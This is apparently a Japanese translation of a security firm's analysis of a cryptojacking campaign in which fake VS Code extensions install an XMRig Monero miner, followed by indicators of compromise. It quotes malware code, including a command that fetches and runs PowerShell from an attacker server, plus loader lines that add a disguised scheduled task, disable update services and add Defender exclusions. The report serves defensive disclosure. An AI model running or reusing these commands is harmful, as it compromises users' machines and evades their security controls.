ExtensionTotalが検出した高度な暗号資産マイニングキャンペーンが、一見正規に見えるVS Code拡張機能に潜んで開発者を標的にしており、その規模は累計100万件を超えるインストール数に達している可能性があります。
4月4日以降に3人の異なる作者(大半は「Mark H」名義)によって公開されたこれらの偽拡張機能は、ひそかにPowerShellスクリプトをダウンロードし、Windowsのセキュリティ機能を無効化したうえでスケジュールタスクによる永続化を確立し、XMRigの暗号資産マイナーをインストールします。このキャンペーンで最も成功を収めた偽拡張機能(「Discord Rich Presence」)は、単体で18万9000件のインストールを獲得しました。攻撃者は多段階にわたる巧妙な攻撃を仕組んでおり、なりすましの対象とした正規拡張機能まで実際にインストールすることで疑念を招かないようにしながら、バックグラウンドで暗号資産マイニングを行っていました。
はじめに
週末の間に、3人の異なる作者によって10個の悪意あるVisual Studio Code拡張機能が公開され、これらが多段階の暗号資産マイニングキャンペーンにおける初期侵入経路として機能していました。
これらの拡張機能は人気の開発ツールになりすまし、累計で100万件を超えるインストールを集めました。インストールされると、Windowsのセキュリティサービスを無効化し、リモートのC2サーバーからXMRigの暗号資産マイナーを展開するPowerShellローダーをダウンロード・実行します。
悪意ある拡張機能キャンペーンの構造
この悪意あるキャンペーンでは、10種類の異なるVisual Studio Code拡張機能が公開されました。
- Prettier — Code for VSCode(作者:
prettier)- 95万5000件のインストール - Discord Rich Presence for VS Code(作者:
Mark H)- 18万9000件のインストール - Rojo — Roblox Studio Sync(作者:
evaera)- 11万7000件のインストール - Solidity Compiler(作者:
VSCode Developer)- 1300件のインストール - Claude AI(作者:
Mark H) - Golang Compiler(作者:
Mark H) - ChatGPT Agent for VSCode(作者:
Mark H) - HTML Obfuscator(作者:
Mark H) - Python Obfuscator for VSCode(作者:
Mark H) - Rust Compiler for VSCode(作者:
Mark H)
このキャンペーンで最も人気の高かった3つの拡張機能は、それぞれ95万5000件、18万9000件、11万7000件のインストール数を示していますが、これらは異例なほど短期間でこの数字に達しています。このことから、インストール数は人為的に水増しされていた可能性が高く、拡張機能を広く信頼され活発に利用されているものに見せかけることで信頼性を確立し、ユーザーの疑念を軽減する狙いがあったと強く推測されます。
これらの拡張機能はいずれも同じ動作をします。まず、同一のC2サーバーhttps://asdf11[.]xyz/から隠しウィンドウでPowerShellスクリプトをダウンロードして実行します。
次に、なりすましの対象としている正規拡張機能のインストールを試み、ユーザーが引き続き期待どおりの機能を得られるようにすることで、悪意ある挙動を疑われにくくしています。
functionactivate(context) {
// Register the command to execute the PowerShell Loader and install the extensionlet disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', asyncfunction () {
if (process.platform === 'win32') {
const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
// Execute the command to download and execution the PowerShell Loaderawait executeCmdCommand(cmdCommand);
// After the PowerShell Loader has been executed, install the Solidity extensionconst extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extensionawait installExtension(extensionId);
} catch (error) {
vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
}
}
});
C2ドメインasdf11[.]xyzは、最初の拡張機能が公開されたのと同じ日、すなわち2025年4月4日に作成されていました。
これらの拡張機能は異なる作者名で公開されていたものの、コードは同一であり、同じC2サーバーと通信して同じペイロードをダウンロード・実行していました。
PowerShellローダー
このPowerShellスクリプトは、永続化・防御回避・権限昇格・実行を担っています。
永続化の仕組み
- 「OnedriveStartup」という名前のスケジュールタスクを作成し、ログオン時に実行されるよう設定(正規のOneDriveソフトウェアになりすまし)
Start-Process "cmd.exe" -ArgumentList "/c schtasks /create /tn `"OnedriveStartup`" /tr `"$qZVhfWBWTd5ptqbWRS8gzsNWK7JScbLgtuxRRD`" /sc ONLOGON /RL HIGHEST /F" -WindowStyle Hidden
- レジストリエントリからスクリプトを作成・実行
Start-Process "cmd.exe" -ArgumentList "/c reg add ""HKCU\\Software\\Microsoft"" /v ""Version"" /t REG_SZ /d $uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp /f" -WindowStyle Hidden
防御回避
- Windowsのセキュリティサービスを無効化
# Stops the Windows Update Service and disables it from starting
Stop-Service -Name wuauserv -Force
Set-Service -Name wuauserv -StartupType Disabled
# Modifies registry to disable the Windows Update Medic Service
Start-Process "cmd.exe" -ArgumentList '/c reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f' -WindowStyle Hidden
# Stops and disables the Update Orchestrator Service
Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled
- 自身が作成したディレクトリをWindows Defenderの除外パスに追加
Start-Process "cmd.exe" -ArgumentList "/c powershell -Command ""Add-MpPreference -ExclusionPath '%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp'""" -WindowStyle Hidden
Start-Process "cmd.exe" -ArgumentList "/c reg add `"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths`" /v `"%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp`" /t REG_SZ /d 0 /f" -WindowStyle Hidden
権限昇格
このPowerShellスクリプトは、悪意あるペイロードを管理者権限で実行しようと試みます。
その権限がない場合、スクリプトは別のSystem32ディレクトリを作成し、ComputerDefaults.exeファイルをそこにコピーしようとします。続いて、スクリプトはMLANG.dllという名前の独自の悪意あるDLLを作成し、このComputerDefaults実行ファイルを使ってそれを実行しようとします。
実行
このPowerShellスクリプトには、DLLとトロイの木馬の実行ファイルが単純なbase64エンコード文字列として埋め込まれています。スクリプトはトロイの木馬をデコードし、自身が作成してWindows Defenderの除外対象とした先ほどのディレクトリにLauncher.exeとして書き込みます。
Launcher.exeは別のC2サーバーmyaunet[.]suと通信し、Moneroのマイニングに使われるXMRigツールをダウンロード・実行します。
結論
今回のキャンペーンは、開発者エコシステムにおけるサプライチェーン攻撃がますます高度化・頻発化していることを改めて示す一例です。Visual Studio Code拡張機能ストアのようなマーケットプレイスが拡大を続けるにつれ、悪用のための攻撃経路としての魅力もまた増しています。
ExtensionTotalでは、悪意あるリスクの高い拡張機能が被害をもたらす前にこれを検出することで、組織がこうした変化し続ける脅威の状況に対応できるよう支援しています。これにより、開発チームはセキュリティを損なうことなく、最新の開発ツールがもたらす力と生産性を引き続き活用できます。
侵害指標(IOC)
VS Codeパッケージ名
- prettierteam.prettier
- markh.chatgpt-autocoder-vscode
- markh.claude-autocoder-vscode
- markh.discord-rich-presence-vs
- markh.golang-compiler-vscode
- markh.python-obfuscator-vscode
- markh.rust-compiler-vs
- evaera-rbx.vscode-rojo-rbx
- vscodedeveloper.sobidity-compiler
ファイルハッシュ
- 2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191 — Launcher.exe / myau.exe
- d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 — xmrig.exe
- bb757c6338491170072e8b743ea2758eebaeb1472ba6b421c950c79a3daed853 — PowerShell
- 26111b28f6c507ea68e7c8a0f3ad64fb0d7b694d7f703bc626d871c4e1502dc2 — PowerShell
- 0c05365ea9c1162b10d93ffdc93eb4207b61062d35dbf6d424ad15e3342ecb70 — PowerShell
- b98dfc7ed18d6d30490fc2b997fbeae36541335bd05a94624da8b808e818d094 — PowerShell
- 71b48bc26f4a4f9759eaf35f44e7cebf4f18e1a74ab2c902f91404ca8ceb3a4e — PowerShell
- 13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c — DLL
- 515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640 — DLL
-
C2サーバー
- asdf11[.]xyz
- myaunet[.]su
翻訳元: https://www.koi.ai/blog/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign